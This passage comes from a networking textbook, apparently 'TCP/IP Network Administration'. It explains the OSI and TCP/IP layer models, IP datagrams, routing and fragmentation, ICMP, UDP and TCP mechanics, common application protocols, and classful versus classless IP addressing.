To discuss computer networking, it is necessary to use terms that have special meaning. Even other computer professionals may not be familiar with all the terms in the networking alphabet soup. As is always the case, English and computer-speak are not equivalent (or even necessarily compatible) languages. Although descriptions and examples should make the meaning of the networking jargon more apparent, sometimes terms are ambiguous. A common frame of reference is necessary for understanding data communications terminology.

An architectural model developed by the International Standards Organization (ISO) is frequently used to describe the structure and function of data communications protocols. This architectural model, which is called the Open Systems Interconnect Reference Model (OSI), provides a common reference for discussing communications. The terms defined by this model are well understood and widely used in the data communications community - so widely used, in fact, that it is difficult to discuss data communications without using OSI's terminology.

The OSI Reference Model contains seven layers that define the functions of data communications protocols. Each layer of the OSI model represents a function performed when data is transferred between cooperating applications across an intervening network. Figure 1.1 identifies each layer by name and provides a short functional description for it. Looking at this figure, the protocols are like a pile of building blocks stacked one upon another. Because of this appearance, the structure is often called a stack or protocol stack.

Figure 1.1: The OSI Reference Model

A layer does not define a single protocol - it defines a data communications function that may be performed by any number of protocols. Therefore, each layer may contain multiple protocols, each providing a service suitable to the function of that layer. For example, a file transfer protocol and an electronic mail protocol both provide user services, and both are part of the Application Layer.

Every protocol communicates with its peer. A peer is an implementation of the same protocol in the equivalent layer on a remote system; i.e., the local file transfer protocol is the peer of a remote file transfer protocol. Peer-level communications must be standardized for successful communications to take place. In the abstract, each protocol is concerned only with communicating to its peer; it does not care about the layer above or below it.

However, there must also be agreement on how to pass data between the layers on a single computer, because every layer is involved in sending data from a local application to an equivalent remote application. The upper layers rely on the lower layers to transfer the data over the underlying network. Data is passed down the stack from one layer to the next, until it is transmitted over the network by the Physical Layer protocols. At the remote end, the data is passed up the stack to the receiving application. The individual layers do not need to know how the layers above and below them function; they only need to know how to pass data to them. Isolating network communications functions in different layers minimizes the impact of technological change on the entire protocol suite. New applications can be added without changing the physical network, and new network hardware can be installed without rewriting the application software.

Although the OSI model is useful, the TCP/IP protocols don't match its structure exactly. Therefore, in our discussions of TCP/IP, we use the layers of the OSI model in the following way:

Application Layer

The Application Layer is the level of the protocol hierarchy where user-accessed network processes reside. In this text, a TCP/IP application is any network process that occurs above the Transport Layer. This includes all of the processes that users directly interact with, as well as other processes at this level that users are not necessarily aware of.

Presentation Layer

For cooperating applications to exchange data, they must agree about how data is represented. In OSI, this layer provides standard data presentation routines. This function is frequently handled within the applications in TCP/IP, though increasingly TCP/IP protocols such as XDR and MIME perform this function.

Session Layer

As with the Presentation Layer, the Session Layer is not identifiable as a separate layer in the TCP/IP protocol hierarchy. The OSI Session Layer manages the sessions (connection) between cooperating applications. In TCP/IP, this function largely occurs in the Transport Layer, and the term "session" is not used. For TCP/IP, the terms "socket" and "port" are used to describe the path over which cooperating applications communicate.

Transport Layer

Much of our discussion of TCP/IP is directed to the protocols that occur in the Transport Layer. The Transport Layer in the OSI reference model guarantees that the receiver gets the data exactly as it was sent. In TCP/IP this function is performed by the Transmission Control Protocol (TCP). However, TCP/IP offers a second Transport Layer service, User Datagram Protocol (UDP), that does not perform the end-to-end reliability checks.

Network Layer

The Network Layer manages connections across the network and isolates the upper layer protocols from the details of the underlying network. The Internet Protocol (IP), which isolates the upper layers from the underlying network and handles the addressing and delivery of data, is usually described as TCP/IP's Network Layer.

Data Link Layer

The reliable delivery of data across the underlying physical network is handled by the Data Link Layer. TCP/IP rarely creates protocols in the Data Link Layer. Most RFCs that relate to the Data Link Layer discuss how IP can make use of existing data link protocols.

Physical Layer

The Physical Layer defines the characteristics of the hardware needed to carry the data transmission signal. Features such as voltage levels, and the number and location of interface pins, are defined in this layer. Examples of standards at the Physical Layer are interface connectors such as RS232C and V.35, and standards for local area network wiring such as IEEE 802.3. TCP/IP does not define physical standards - it makes use of existing standards.

The terminology of the OSI reference model helps us describe TCP/IP, but to fully understand it, we must use an architectural model that more closely matches the structure of TCP/IP. The next section introduces the protocol model we'll use to describe TCP/IP.

Previous: 1.1 TCP/IP and the Internet | TCP/IP Network Administration | Next: 1.3 TCP/IP Protocol Architecture
1.1 TCP/IP and the Internet | Book Index | 1.3 TCP/IP Protocol Architecture


[Chapter 1] 1.3 TCP/IP Protocol Architecture

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 1.2 A Data Communications Model Chapter 1
Overview of TCP/IP 		Next: 1.4 Network Access Layer

1.3 TCP/IP Protocol Architecture

While there is no universal agreement about how to describe TCP/IP with a layered model, it is generally viewed as being composed of fewer layers than the seven used in the OSI model. Most descriptions of TCP/IP define three to five functional levels in the protocol architecture. The four-level model illustrated in Figure 1.2 is based on the three layers (Application, Host-to-Host, and Network Access) shown in the DOD Protocol Model in the DDN Protocol Handbook - Volume 1, with the addition of a separate Internet layer. This model provides a reasonable pictorial representation of the layers in the TCP/IP protocol hierarchy.

Figure 1.2: Layers in the TCP/IP protocol architecture

As in the OSI model, data is passed down the stack when it is being sent to the network, and up the stack when it is being received from the network. The four-layered structure of TCP/IP is seen in the way data is handled as it passes down the protocol stack from the Application Layer to the underlying physical network. Each layer in the stack adds control information to ensure proper delivery. This control information is called a header because it is placed in front of the data to be transmitted. Each layer treats all of the information it receives from the layer above as data and places its own header in front of that information. The addition of delivery information at every layer is called encapsulation. (See Figure 1.3 for an illustration of this.) When data is received, the opposite happens. Each layer strips off its header before passing the data on to the layer above. As information flows back up the stack, information received from a lower layer is interpreted as both a header and data.

Figure 1.3: Data encapsulation

Each layer has its own independent data structures. Conceptually, a layer is unaware of the data structures used by the layers above and below it. In reality, the data structures of a layer are designed to be compatible with the structures used by the surrounding layers for the sake of more efficient data transmission. Still, each layer has its own data structure and its own terminology to describe that structure.

Figure 1.4 shows the terms used by different layers of TCP/IP to refer to the data being transmitted. Applications using TCP refer to data as a stream, while applications using the User Datagram Protocol (UDP) refer to data as a message. TCP calls data a segment, and UDP calls its data structure a packet. The Internet layer views all data as blocks called datagrams. TCP/IP uses many different types of underlying networks, each of which may have a different terminology for the data it transmits. Most networks refer to transmitted data as packets or frames. In Figure 1.4 we show a network that transmits pieces of data it calls frames.

Figure 1.4: Data structures

Let's look more closely at the function of each layer, working our way up from the Network Access Layer to the Application Layer.

Previous: 1.2 A Data Communications Model | TCP/IP Network Administration | Next: 1.4 Network Access Layer
1.2 A Data Communications Model | Book Index | 1.4 Network Access Layer


[Chapter 1] 1.4 Network Access Layer

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 1.3 TCP/IP Protocol Architecture Chapter 1
Overview of TCP/IP 		Next: 1.5 Internet Layer

1.4 Network Access Layer

The Network Access Layer is the lowest layer of the TCP/IP protocol hierarchy. The protocols in this layer provide the means for the system to deliver data to the other devices on a directly attached network. It defines how to use the network to transmit an IP datagram. Unlike higher-level protocols, Network Access Layer protocols must know the details of the underlying network (its packet structure, addressing, etc.) to correctly format the data being transmitted to comply with the network constraints. The TCP/IP Network Access Layer can encompass the functions of all three lower layers of the OSI reference Model (Network, Data Link, and Physical).

The Network Access Layer is often ignored by users. The design of TCP/IP hides the function of the lower layers, and the better known protocols (IP, TCP, UDP, etc.) are all higher-level protocols. As new hardware technologies appear, new Network Access protocols must be developed so that TCP/IP networks can use the new hardware. Consequently, there are many access protocols - one for each physical network standard.

Functions performed at this level include encapsulation of IP datagrams into the frames transmitted by the network, and mapping of IP addresses to the physical addresses used by the network. One of TCP/IP's strengths is its universal addressing scheme. The IP address must be converted into an address that is appropriate for the physical network over which the datagram is transmitted.

Two examples of RFCs that define network access layer protocols are:

  • RFC 826, Address Resolution Protocol (ARP), which maps IP addresses to Ethernet addresses

  • RFC 894, A Standard for the Transmission of IP Datagrams over Ethernet Networks, which specifies how IP datagrams are encapsulated for transmission over Ethernet networks

As implemented in UNIX, protocols in this layer often appear as a combination of device drivers and related programs. The modules that are identified with network device names usually encapsulate and deliver the data to the network, while separate programs perform related functions such as address mapping.

Previous: 1.3 TCP/IP Protocol Architecture | TCP/IP Network Administration | Next: 1.5 Internet Layer
1.3 TCP/IP Protocol Architecture | Book Index | 1.5 Internet Layer


[Chapter 1] 1.5 Internet Layer

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 1.4 Network Access Layer Chapter 1
Overview of TCP/IP 		Next: 1.6 Transport Layer

1.5 Internet Layer

The layer above the Network Access Layer in the protocol hierarchy is the Internet Layer. The Internet Protocol, RFC 791, is the heart of TCP/IP and the most important protocol in the Internet Layer. IP provides the basic packet delivery service on which TCP/IP networks are built. All protocols, in the layers above and below IP, use the Internet Protocol to deliver data. All TCP/IP data flows through IP, incoming and outgoing, regardless of its final destination.

1.5.1 Internet Protocol

The Internet Protocol is the building block of the Internet. Its functions include:

  • Defining the datagram, which is the basic unit of transmission in the Internet

  • Defining the Internet addressing scheme

  • Moving data between the Network Access Layer and the Host-to-Host Transport Layer

  • Routing datagrams to remote hosts

  • Performing fragmentation and re-assembly of datagrams

Before describing these functions in more detail, let's look at some of IP's characteristics. First, IP is a connectionless protocol. This means that IP does not exchange control information (called a "handshake") to establish an end-to-end connection before transmitting data. In contrast, a connection-oriented protocol exchanges control information with the remote system to verify that it is ready to receive data before any data is sent. When the handshaking is successful, the systems are said to have established a connection. Internet Protocol relies on protocols in other layers to establish the connection if they require connection-oriented service.

IP also relies on protocols in the other layers to provide error detection and error recovery. The Internet Protocol is sometimes called an unreliable protocol because it contains no error detection and recovery code. This is not to say that the protocol cannot be relied on - quite the contrary. IP can be relied upon to accurately deliver your data to the connected network, but it doesn't check whether that data was correctly received. Protocols in other layers of the TCP/IP architecture provide this checking when it is required.

1.5.1.1 The datagram

The TCP/IP protocols were built to transmit data over the ARPANET, which was a packet switching network. A packet is a block of data that carries with it the information necessary to deliver it - in a manner similar to a postal letter, which has an address written on its envelope. A packet switching network uses the addressing information in the packets to switch packets from one physical network to another, moving them toward their final destination. Each packet travels the network independently of any other packet.

The datagram is the packet format defined by Internet Protocol. Figure 1.5 is a pictorial representation of an IP datagram. The first five or six 32-bit words of the datagram are control information called the header. By default, the header is five words long; the sixth word is optional. Because the header's length is variable, it includes a field called Internet Header Length (IHL) that indicates the header's length in words. The header contains all the information necessary to deliver the packet.

Figure 1.5: IP datagram format

The Internet Protocol delivers the datagram by checking the Destination Address in word 5 of the header. The Destination Address is a standard 32-bit IP address that identifies the destination network and the specific host on that network. (The format of IP addresses is explained in Chapter 2, Delivering the Data.) If the Destination Address is the address of a host on the local network, the packet is delivered directly to the destination. If the Destination Address is not on the local network, the packet is passed to a gateway for delivery. Gateways are devices that switch packets between the different physical networks. Deciding which gateway to use is called routing. IP makes the routing decision for each individual packet.

1.5.1.2 Routing datagrams

Internet gateways are commonly (and perhaps more accurately) referred to as IP routers because they use Internet Protocol to route packets between networks. In traditional TCP/IP jargon, there are only two types of network devices - gateways and hosts. Gateways forward packets between networks, and hosts don't. However, if a host is connected to more than one network (called a multi-homed host), it can forward packets between the networks. When a multi-homed host forwards packets, it acts just like any other gateway and is considered to be a gateway. Current data communications terminology makes a distinction between gateways and routers, [4] but we'll use the terms gateway and IP router interchangeably.

[4] In current terminology, a gateway moves data between different protocols and a router moves data between different networks. So a system that moves mail between TCP/IP and OSI is a gateway, but a traditional IP gateway is a router.

Figure 1.6 shows the use of gateways to forward packets. The hosts (or end systems) process packets through all four protocol layers, while the gateways (or intermediate systems) process the packets only up to the Internet Layer where the routing decisions are made.

Figure 1.6: Routing through gateways

Systems can only deliver packets to other devices attached to the same physical network. Packets from A1 destined for host C1 are forwarded through gateways G1 and G2. Host A1 first delivers the packet to gateway G1, with which it shares network A. Gateway G1 delivers the packet to G2 over network B. Gateway G2 then delivers the packet directly to host C1, because they are both attached to network C. Host A1 has no knowledge of any gateways beyond gateway G1. It sends packets destined for both networks C and B to that local gateway, and then relies on that gateway to properly forward the packets along the path to their destinations. Likewise, host C1 would send its packets to G2, in order to reach a host on network A, as well as any host on network B.

Figure 1.7 shows another view of routing. This figure emphasizes that the underlying physical networks that a datagram travels through may be different and even incompatible. Host A1 on the token ring network routes the datagram through gateway G1, to reach host C1 on the Ethernet. Gateway G1 forwards the data through the X.25 network to gateway G2, for delivery to C1. The datagram traverses three physically different networks, but eventually arrives intact at C1.

Figure 1.7: Networks, gateways, and hosts

1.5.1.3 Fragmenting datagrams

As a datagram is routed through different networks, it may be necessary for the IP module in a gateway to divide the datagram into smaller pieces. A datagram received from one network may be too large to be transmitted in a single packet on a different network. This condition occurs only when a gateway interconnects dissimilar physical networks.

Each type of network has a maximum transmission unit (MTU), which is the largest packet that it can transfer. If the datagram received from one network is longer than the other network's MTU, it is necessary to divide the datagram into smaller fragments for transmission. This process is called fragmentation. Think of a train delivering a load of steel. Each railway car can carry more steel than the trucks that will take it along the highway; so each railway car is unloaded onto many different trucks. In the same way that a railroad is physically different from a highway, an Ethernet is physically different from an X.25 network; IP must break an Ethernet's relatively large packets into smaller packets before it can transmit them over an X.25 network.

The format of each fragment is the same as the format of any normal datagram. Header word 2 contains information that identifies each datagram fragment and provides information about how to re-assemble the fragments back into the original datagram. The Identification field identifies what datagram the fragment belongs to, and the Fragmentation Offset field tells what piece of the datagram this fragment is. The Flags field has a "More Fragments" bit that tells IP if it has assembled all of the datagram fragments.

1.5.1.4 Passing datagrams to the transport layer

When IP receives a datagram that is addressed to the local host, it must pass the data portion of the datagram to the correct Transport Layer protocol. This is done by using the protocol number from word 3 of the datagram header. Each Transport Layer protocol has a unique protocol number that identifies it to IP. Protocol numbers are discussed in Chapter 2.

You can see from this short overview that IP performs many important functions. Don't expect to fully understand datagrams, gateways, routing, IP addresses, and all the other things that IP does from this short description. Each chapter adds more details about these topics. So let's continue on with the other protocol in the TCP/IP Internet Layer.

1.5.2 Internet Control Message Protocol

An integral part of IP is the Internet Control Message Protocol (ICMP) defined in RFC 792. This protocol is part of the Internet Layer and uses the IP datagram delivery facility to send its messages. ICMP sends messages that perform the following control, error reporting, and informational functions for TCP/IP:

Flow control

When datagrams arrive too fast for processing, the destination host or an intermediate gateway sends an ICMP Source Quench Message back to the sender. This tells the source to stop sending datagrams temporarily.

Detecting unreachable destinations

When a destination is unreachable, the system detecting the problem sends a Destination Unreachable Message to the datagram's source. If the unreachable destination is a network or host, the message is sent by an intermediate gateway. But if the destination is an unreachable port, the destination host sends the message. (We discuss ports in Chapter 2.)

Redirecting routes

A gateway sends the ICMP Redirect Message to tell a host to use another gateway, presumably because the other gateway is a better choice. This message can be used only when the source host is on the same network as both gateways. To better understand this, refer to Figure 1.7 If a host on the X.25 network sent a datagram to G1, it would be possible for G1 to redirect that host to G2 because the host, G1, and G2 are all attached to the same network. On the other hand, if a host on the token ring network sent a datagram to G1, the host could not be redirected to use G2. This is because G2 is not attached to the token ring.

Checking remote hosts

A host can send the ICMP Echo Message to see if a remote system's Internet Protocol is up and operational. When a system receives an echo message, it replies and sends the data from the packet back to the source host. The ping command uses this message.

Previous: 1.4 Network Access Layer | TCP/IP Network Administration | Next: 1.6 Transport Layer
1.4 Network Access Layer | Book Index | 1.6 Transport Layer


[Chapter 1] 1.6 Transport Layer

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 1.5 Internet Layer Chapter 1
Overview of TCP/IP 		Next: 1.7 Application Layer

1.6 Transport Layer

The protocol layer just above the Internet Layer is the Host-to-Host Transport Layer. This name is usually shortened to Transport Layer. The two most important protocols in the Transport Layer are Transmission Control Protocol (TCP) and User Datagram Protocol (UDP). TCP provides reliable data delivery service with end-to-end error detection and correction. UDP provides low-overhead, connectionless datagram delivery service. Both protocols deliver data between the Application Layer and the Internet Layer. Applications programmers can choose whichever service is more appropriate for their specific applications.

1.6.1 User Datagram Protocol

The User Datagram Protocol gives application programs direct access to a datagram delivery service, like the delivery service that IP provides. This allows applications to exchange messages over the network with a minimum of protocol overhead.

UDP is an unreliable, connectionless datagram protocol. As noted previously, "unreliable" merely means that there are no techniques in the protocol for verifying that the data reached the other end of the network correctly. Within your computer, UDP will deliver data correctly. UDP uses 16-bit Source Port and Destination Port numbers in word 1 of the message header, to deliver data to the correct applications process. Figure 1.8 shows the UDP message format.

Figure 1.8: UDP message format

Why do applications programmers choose UDP as a data transport service? There are a number of good reasons. If the amount of data being transmitted is small, the overhead of creating connections and ensuring reliable delivery may be greater than the work of re-transmitting the entire data set. In this case, UDP is the most efficient choice for a Transport Layer protocol. Applications that fit a query-response model are also excellent candidates for using UDP. The response can be used as a positive acknowledgment to the query. If a response isn't received within a certain time period, the application just sends another query. Still other applications provide their own techniques for reliable data delivery, and don't require that service from the transport layer protocol. Imposing another layer of acknowledgment on any of these types of applications is inefficient.

1.6.2 Transmission Control Protocol

Applications that require the transport protocol to provide reliable data delivery use TCP because it verifies that data is delivered across the network accurately and in the proper sequence. TCP is a reliable, connection-oriented, byte-stream protocol. Let's look at each of the terms - reliable, connection-oriented, and byte-stream - in more detail.

TCP provides reliability with a mechanism called Positive Acknowledgment with Re-transmission (PAR). Simply stated, a system using PAR sends the data again, unless it hears from the remote system that the data arrived okay. The unit of data exchanged between cooperating TCP modules is called a segment (see Figure 1.9 Each segment contains a checksum that the recipient uses to verify that the data is undamaged. If the data segment is received undamaged, the receiver sends a positive acknowledgment back to the sender. If the data segment is damaged, the receiver discards it. After an appropriate time-out period, the sending TCP module re-transmits any segment for which no positive acknowledgment has been received.

Figure 1.9: TCP segment format

TCP is connection-oriented. It establishes a logical end-to-end connection between the two communicating hosts. Control information, called a handshake, is exchanged between the two endpoints to establish a dialogue before data is transmitted. TCP indicates the control function of a segment by setting the appropriate bit in the Flags field in word 4 of the segment header.

The type of handshake used by TCP is called a three-way handshake because three segments are exchanged. Figure 1.10 shows the simplest form of the three-way handshake. Host A begins the connection by sending host B a segment with the "Synchronize sequence numbers" (SYN) bit set. This segment tells host B that A wishes to set up a connection, and it tells B what sequence number host A will use as a starting number for its segments. (Sequence numbers are used to keep data in the proper order.) Host B responds to A with a segment that has the "Acknowledgment" (ACK) and SYN bits set. B's segment acknowledges the receipt of A's segment, and informs A which Sequence Number host B will start with. Finally, host A sends a segment that acknowledges receipt of B's segment, and transfers the first actual data.

Figure 1.10: Three-way handshake

After this exchange, host A's TCP has positive evidence that the remote TCP is alive and ready to receive data. As soon as the connection is established, data can be transferred. When the cooperating modules have concluded the data transfers, they will exchange a three-way handshake with segments containing the "No more data from sender" bit (called the FIN bit) to close the connection. It is the end-to-end exchange of data that provides the logical connection between the two systems.

TCP views the data it sends as a continuous stream of bytes, not as independent packets. Therefore, TCP takes care to maintain the sequence in which bytes are sent and received. The Sequence Number and Acknowledgment Number fields in the TCP segment header keep track of the bytes.

The TCP standard does not require that each system start numbering bytes with any specific number; each system chooses the number it will use as a starting point. To keep track of the data stream correctly, each end of the connection must know the other end's initial number. The two ends of the connection synchronize byte-numbering systems by exchanging SYN segments during the handshake. The Sequence Number field in the SYN segment contains the Initial Sequence Number (ISN), which is the starting point for the byte-numbering system. For security reasons the ISN should be a random number, though it is often 0.

Each byte of data is numbered sequentially from the ISN, so the first real byte of data sent has a sequence number of ISN+1. The Sequence Number in the header of a data segment identifies the sequential position in the data stream of the first data byte in the segment. For example, if the first byte in the data stream was sequence number 1 (ISN=0) and 4000 bytes of data have already been transferred, then the first byte of data in the current segment is byte 4001, and the Sequence Number would be 4001.

The Acknowledgment Segment (ACK) performs two functions: positive acknowledgment and flow control. The acknowledgment tells the sender how much data has been received, and how much more the receiver can accept. The Acknowledgment Number is the sequence number of the next byte the receiver expects to receive. The standard does not require an individual acknowledgment for every packet. The acknowledgment number is a positive acknowledgment of all bytes up to that number. For example, if the first byte sent was numbered 1 and 2000 bytes have been successfully received, the Acknowledgment Number would be 2001.

The Window field contains the window, or the number of bytes the remote end is able to accept. If the receiver is capable of accepting 6000 more bytes, the window would be 6000. The window indicates to the sender that it can continue sending segments as long as the total number of bytes that it sends is smaller than the window of bytes that the receiver can accept. The receiver controls the flow of bytes from the sender by changing the size of the window. A zero window tells the sender to cease transmission until it receives a non-zero window value.

Figure 1.11 shows a TCP data stream that starts with an Initial Sequence Number of 0. The receiving system has received and acknowledged 2000 bytes, so the current Acknowledgment Number is 2001. The receiver also has enough buffer space for another 6000 bytes, so it has advertised a window of 6000. The sender is currently sending a segment of 1000 bytes starting with Sequence Number 4001. The sender has received no acknowledgment for the bytes from 2001 on, but continues sending data as long as it is within the window. If the sender fills the window and receives no acknowledgment of the data previously sent, it will, after an appropriate time-out, send the data again starting from the first unacknowledged byte.

In Figure 1.11 re-transmission would start from byte 2001 if no further acknowledgments are received. This procedure ensures that data is reliably received at the far end of the network.

TCP is also responsible for delivering data received from IP to the correct application. The application that the data is bound for is identified by a 16-bit number called the port number. The Source Port and Destination Port are contained in the first word of the segment header. Correctly passing data to and from the Application Layer is an important part of what the Transport Layer services do.

Figure 1.11: TCP data stream

Previous: 1.5 Internet Layer | TCP/IP Network Administration | Next: 1.7 Application Layer
1.5 Internet Layer | Book Index | 1.7 Application Layer


[Chapter 1] 1.7 Application Layer

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 1.6 Transport Layer Chapter 1
Overview of TCP/IP 		Next: 1.8 Summary

1.7 Application Layer

At the top of the TCP/IP protocol architecture is the Application Layer. This layer includes all processes that use the Transport Layer protocols to deliver data. There are many applications protocols. Most provide user services, and new services are always being added to this layer.

The most widely known and implemented applications protocols are:

telnet

The Network Terminal Protocol, which provides remote login over the network.

FTP

The File Transfer Protocol, which is used for interactive file transfer.

SMTP

The Simple Mail Transfer Protocol, which delivers electronic mail.

HTTP

The Hypertext Transfer Protocol, which delivers Web pages over the network.

While HTTP, FTP, SMTP, and telnet are the most widely implemented TCP/IP applications, you will work with many others as both a user and a system administrator. Some other commonly used TCP/IP applications are:

Domain Name Service (DNS)

Also called name service, this application maps IP addresses to the names assigned to network devices. DNS is discussed in detail in this book.

Open Shortest Path First (OSPF)

Routing is central to the way TCP/IP works. OSPF is used by network devices to exchange routing information. Routing is also a major topic of this book.

Network Filesystem (NFS)

This protocol allows files to be shared by various hosts on the network.

Some protocols, such as telnet and FTP, can only be used if the user has some knowledge of the network. Other protocols, like OSPF, run without the user even knowing that they exist. As system administrator, you are aware of all these applications and all the protocols in the other TCP/IP layers. And you're responsible for configuring them!

Previous: 1.6 Transport Layer | TCP/IP Network Administration | Next: 1.8 Summary
1.6 Transport Layer | Book Index | 1.8 Summary


[Chapter 1] 1.8 Summary

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 1.7 Application Layer Chapter 1
Overview of TCP/IP 		Next: 2. Delivering the Data

1.8 Summary

In this chapter we discussed the structure of TCP/IP, the protocol suite upon which the Internet is built. We have seen that TCP/IP is a hierarchy of four layers: Applications, Host-to-Host Transport, Internet, and Network Access. We have examined the function of each of these layers. In the next chapter we look at how the IP packet, the datagram, moves through a network when data is delivered between hosts.

Previous: 1.7 Application Layer | TCP/IP Network Administration | Next: 2. Delivering the Data
1.7 Application Layer | Book Index | 2. Delivering the Data


[Chapter 2] Delivering the Data

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 1.8 Summary Chapter 2 Next: 2.2 The IP Address

2. Delivering the Data

Contents:
Addressing, Routing, and Multiplexing
The IP Address
Subnets
Internet Routing Architecture
The Routing Table
Address Resolution
Protocols, Ports, and Sockets
Summary

In Chapter 1, Overview of TCP/IP, we touched on the basic architecture and design of the TCP/IP protocols. From that discussion, we know that TCP/IP is a hierarchy of four layers. In this chapter, we explore in finer detail how data moves between the protocol layers and the systems on the network. We examine the structure of Internet addresses, including how addresses route data to its final destination, and how addressing rules are locally redefined to create subnets. We also look at the protocol and port numbers used to deliver data to the correct applications. These additional details move us from an overview of TCP/IP to the specific implementation details that affect your system's configuration.

2.1 Addressing, Routing, and Multiplexing

To deliver data between two Internet hosts, it is necessary to move the data across the network to the correct host, and within that host to the correct user or process. TCP/IP uses three schemes to accomplish these tasks:

Addressing

IP addresses, which uniquely identify every host on the network, deliver data to the correct host.

Routing

Gateways deliver data to the correct network.

Multiplexing

Protocol and port numbers deliver data to the correct software module within the host.

Each of these functions - addressing between hosts, routing between networks, and multiplexing between layers - is necessary to send data between two cooperating applications across the Internet. Let's examine each of these functions in detail.

To illustrate these concepts and provide consistent examples, we use an imaginary corporate network. Our imaginary company sells packaged nuts to the Army. Our company network is made up of several networks at our packing plant and sales office, as well as a connection to the Internet. We are responsible for managing the Ethernet in the computing center. This network's structure, or topology, is shown in Figure 2.1

Figure 2.1: Sample network

The icons in the figure represent computer systems. There are, of course, several other imaginary systems on our imaginary network. You'll just have to use your imagination! But we'll use the hosts peanut (a workstation) and almond (a system that serves as a gateway) for most of our examples. The thick line is our computer center Ethernet and the circle is the local network that connects our various corporate networks. The cloud is the Internet. What the numbers are, how they're used, and how datagrams are delivered are the topics of this chapter.

Previous: 1.8 Summary | TCP/IP Network Administration | Next: 2.2 The IP Address
1.8 Summary | Book Index | 2.2 The IP Address


[Chapter 2] 2.2 The IP Address

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 2.1 Addressing, Routing, and Multiplexing Chapter 2
Delivering the Data 		Next: 2.3 Subnets

2.2 The IP Address

The Internet Protocol moves data between hosts in the form of datagrams. Each datagram is delivered to the address contained in the Destination Address (word 5) of the datagram's header. The Destination Address is a standard 32-bit IP address that contains sufficient information to uniquely identify a network and a specific host on that network.

An IP address contains a network part and a host part, but the format of these parts is not the same in every IP address. The number of address bits used to identify the network, and the number used to identify the host, vary according to the prefix length of the address. There are two ways the prefix length is determined: by address class or by a CIDR address mask. We begin with a discussion of traditional IP address classes.

2.2.1 Address Classes

Originally, the IP address space was divided into a few fixed-length structures called address classes. The three main address classes are class A, class B, and class C. By examining the first few bits of an address, IP software can quickly determine the class, and therefore the structure, of an address. IP follows these rules to determine the address class:

  • If the first bit of an IP address is 0, it is the address of a class A network. The first bit of a class A address identifies the address class. The next 7 bits identify the network, and the last 24 bits identify the host. There are fewer than 128 class A network numbers, but each class A network can be composed of millions of hosts.

  • If the first 2 bits of the address are 1 0, it is a class B network address. The first 2 bits identify class; the next 14 bits identify the network, and the last 16 bits identify the host. There are thousands of class B network numbers and each class B network can contain thousands of hosts.

  • If the first 3 bits of the address are 1 1 0, it is a class C network address. In a class C address, the first 3 bits are class identifiers; the next 21 bits are the network address, and the last 8 bits identify the host. There are millions of class C network numbers, but each class C network is composed of fewer than 254 hosts.

  • If the first 4 bits of the address are 1 1 1 0, it is a multicast address. These addresses are sometimes called class D addresses, but they don't really refer to specific networks. Multicast addresses are used to address groups of computers all at one time. Multicast addresses identify a group of computers that share a common application, such as a video conference, as opposed to a group of computers that share a common network.

  • If the first four bits of the address are 1 1 1 1, it is a special reserved address. These addresses are sometimes called class E addresses, but they don't really refer to specific networks. No numbers are currently assigned in this range.

Luckily, this is not as complicated as it sounds. IP addresses are usually written as four decimal numbers separated by dots (periods). [1] Each of the four numbers is in the range 0-255 (the decimal values possible for a single byte). Because the bits that identify class are contiguous with the network bits of the address, we can lump them together and look at the address as composed of full bytes of network address and full bytes of host address. If the value of the first byte is:

[1] Addresses are occasionally written in other formats, e.g., as hexadecimal numbers. However, the "dot" notation form is the most widely used. Whatever the notation, the structure of the address is the same.

  • Less than 128, the address is class A; the first byte is the network number, and the next three bytes are the host address.

  • From 128 to 191, the address is class B; the first two bytes identify the network, and the last two bytes identify the host.

  • From 192 to 223, the address is class C; the first three bytes are the network address, and the last byte is the host number.

  • From 224 to 239, the address is multicast. There is no network part. The entire address identifies a specific multicast group.

  • Greater than 239, the address is reserved. We can ignore reserved addresses.

Figure 2.2 illustrates how the address structure varies with address class. The class A address is 10.104.0.19. The first bit of this address is 0, so the address is interpreted as host 104.0.19 on network 10. One byte specifies the network and three bytes specify the host. In the address 172.16.12.1, the two high-order bits are 1 0 so the address refers to host 12.1 on network 172.16. Two bytes identify the network and two identify the host. Finally, in the class C example, 192.168.16.1, the three high-order bits are 1 1 0, so this is the address of host 1 on network 192.168.16 - three network bytes and one host byte.

Figure 2.2: IP address structure

The IP address, which provides universal addressing across all of the networks of the Internet, is one of the great strengths of the TCP/IP protocol suite. However, the original class structure of the IP address has weaknesses. The TCP/IP designers did not envision the enormous scale of today's network. When TCP/IP was being designed, networking was limited to large organizations that could afford substantial computer systems. The idea of a powerful UNIX system on every desktop did not exist. At that time, a 32-bit address seemed so large that it was divided into classes to reduce the processing load on routers, even though dividing the address into classes sharply reduced the number of host addresses actually available for use. For example, assigning a large network a single class B address, instead of six class C addresses, reduced the load on the router because the router needed to keep only one route for that entire organization. However, an organization that was given the class B address probably did not have 64,000 computers, so most of the host addresses available to the organization were never assigned.

The class-structured address design was critically strained by the rapid growth of the Internet. At one point it appeared that all class B addresses might be rapidly exhausted. [2] To prevent this, a new way of looking at IP addresses without a class structure was developed.

[2] The source for this prediction is the draft of Supernetting: an Address Assignment and Aggregation Strategy, by V. Fuller, T. Li, J. Yu, and K. Varadhan, March 1992.

2.2.2 Classless IP Addresses

The rapid depletion of the class B addresses showed that three primary address classes were not enough: class A was much too large and class C was much too small. Even a class B address was too large for many networks but was used because it was better than the alternatives.

The obvious solution to the class B address crisis was to force organizations to use multiple class C addresses. There were millions of these addresses available and they were in no immediate danger of depletion. As is often the case, the obvious solution is not as simple as it may seem. Each class C address requires its own entry within the routing table. Assigning thousands or millions of class C addresses would cause the routing table to grow so rapidly that the routers would soon be overwhelmed. The solution required a new way of assigning addresses and a new way of looking at addresses.

